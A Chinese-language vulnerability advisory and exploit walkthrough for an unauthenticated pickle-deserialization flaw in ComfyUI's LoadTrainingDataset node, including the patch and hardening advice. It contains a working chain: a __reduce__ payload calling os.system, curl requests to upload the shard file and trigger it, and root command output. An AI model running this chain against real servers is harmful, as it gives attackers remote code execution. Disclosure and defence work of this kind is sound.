仅供教育目的使用。仅可针对您拥有或已获得明确书面授权进行测试的系统使用。
ComfyUI 是一个开源的基于节点的图形界面,用于在本地运行 AI 图像和视频生成模型。它允许用户通过可视化连接节点来构建复杂的生成流水线——每个节点代表一个操作,例如加载模型、编码文本提示、采样或对图像进行后处理。其灵活性以及对多种模型(Stable Diffusion、Flux、HunyuanVideo 等)的支持,使其成为 AI 生成社区中采用最广泛的工具之一。
该应用程序在端口 8188 上暴露一个本地 HTTP API,前端通过它与后端通信,以上传资源并排队生成工作流。虽然它设计用于单用户本地使用,但常见的情况是 ComfyUI 实例暴露在内部网络上或直接暴露在互联网上——在云 GPU 环境、共享研究环境或自托管创意工作室中——通常没有任何额外的认证层,这恰好与该漏洞所针对的威胁模型相符。
在披露时,ComfyUI 在 GitHub 上拥有超过 65,000 个 star,并拥有一个活跃的自定义节点和扩展生态系统,其中许多在核心应用程序之外引入了额外的攻击面。
CVE-2026-68771 是 ComfyUI v0.23.0 中的一个不安全反序列化漏洞(CWE-502),允许未认证的远程攻击者在服务器上执行任意代码。该攻击链结合了两个未认证端点:POST /upload/image 用于上传恶意 pickle 文件,POST /prompt 用于通过 LoadTrainingDataset 节点触发其反序列化。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8(严重) |
| 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502(不可信数据的反序列化) |
| 受影响版本 | ComfyUI v0.23.0(以及未修复的早期版本) |
| 修复版本 | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| 发布日期 | 2026 年 7 月 31 日 |
weights_only 默认值更改之前的版本)POST /upload/image — server.py,第 450-453 行:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py,第 927-928 行:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
这两个端点都没有实现任何访问控制。任何 HTTP 客户端都可以在未经认证的情况下上传文件并排队工作流。
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py,第 1568 行:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
torch.load() 在未指定 weights_only=True 的情况下,使用 Python 的 pickle 协议来反序列化文件。Pickle 不是一种数据格式——它是一种 Python 对象序列化协议,会在反序列化期间执行任何对象的 __reduce__ 方法,从而实现任意代码执行。
该节点依赖 PyTorch 的历史默认值(weights_only=False),使其成为整个代码库中唯一没有显式指定该参数的 torch.load 调用。代码库的其余部分(comfy/utils.py、comfy/sd1_clip.py)已经正确传递了该参数。
Attacker (unauthenticated)
[0] CRAFT MALICIOUS PICKLE
└─ Serialize a Python object with __reduce__ returning (os.system, ("cmd",))
└─ PyTorch's torch.save() format wraps it in a valid .pkl container
└─ Output: shard_0000.pkl — valid filename pattern expected by LoadTrainingDataset
│
▼
[1] POST /upload/image
└─ Upload shard_0000.pkl (pickle with malicious __reduce__)
└─ Parameters: type=output, subfolder=cve_test
└─ Response: 200 OK {"name":"shard_0000.pkl", ...}
└─ File lands at: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ JSON workflow with LoadTrainingDataset node
└─ folder_name: "cve_test" → points to the folder containing the uploaded .pkl
└─ Response: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ Locates shard_0000.pkl in the directory
└─ torch.load(f) → deserializes the pickle
└─ __reduce__ executes: os.system("id > /tmp/pwned.txt")
│
▼
[4] RCE as root
└─ uid=0(root) gid=0(root) groups=0(root)
该载荷利用了 Python 的 pickle reduce 协议。当 torch.load() 反序列化该文件时,Python 通过调用 reduce 返回的可调用对象来实例化该对象,在任何应用程序逻辑运行之前执行攻击者控制的命令。
文件名必须匹配模式 shard_*.pkl——该模式在 LoadTrainingDataset.execute() 中硬编码为文件发现过滤器:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
输出:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
响应:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
HTTP 200,无 token、无 session、无特殊标头。
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
响应:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
文件: comfy_extras/nodes_dataset.py
作者: Matt Miller
日期: 2026 年 6 月 18 日
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
一个参数。weights_only=True 指示 PyTorch 使用受限的反序列化器,该反序列化器只接受张量和 Python 原始类型,拒绝任何带有 __reduce__ 的任意对象。
提交信息清楚地总结了这一点:
“LoadTrainingDataset 是代码库中唯一没有 weights_only=True 的 torch.load 调用;comfy/utils.py 和 comfy/sd1_clip.py 已经传递了它。最近的 PyTorch 默认使用 weights_only=True,因此对于固定使用旧版 PyTorch 的安装来说,这是纵深防御。”
PyTorch 版本说明: 从 PyTorch 2.6 开始,weights_only 的默认值从 False 更改为 True,这即使在代码未修复的情况下也能在现代 PyTorch 安装上缓解该漏洞。该 CVE 特别影响运行 PyTorch < 2.6 的安装,这是 2026 年 7 月发布时的典型生产环境。
将 ComfyUI 更新到 commit 94ee49b 或更高版本。一行代码。
1. API 端点上的认证
ComfyUI 设计用于本地使用。如果暴露在网络上,必须使用带有基本认证的反向代理(nginx/Caddy)进行保护,或者使用带有适当会话管理的 --multi-user 标志。
2. 切勿将 ComfyUI 直接暴露在互联网上
该应用程序的设计假设是受信任的本地环境。CVSS 9.8 的评分反映了应用层完全缺乏访问控制。
3. 上传时的文件类型验证
/upload/image 端点接受任何文件扩展名,包括 .pkl。它应该根据实际图像格式的白名单验证 content-type 和扩展名。
torch.load 调用已经具有该参数)表明该节点是在没有安全审查的情况下添加的。weights_only 默认值;在此期间,存在漏洞的代码一直存在。分析在隔离环境中出于教育目的进行。记录完成后实验室已销毁。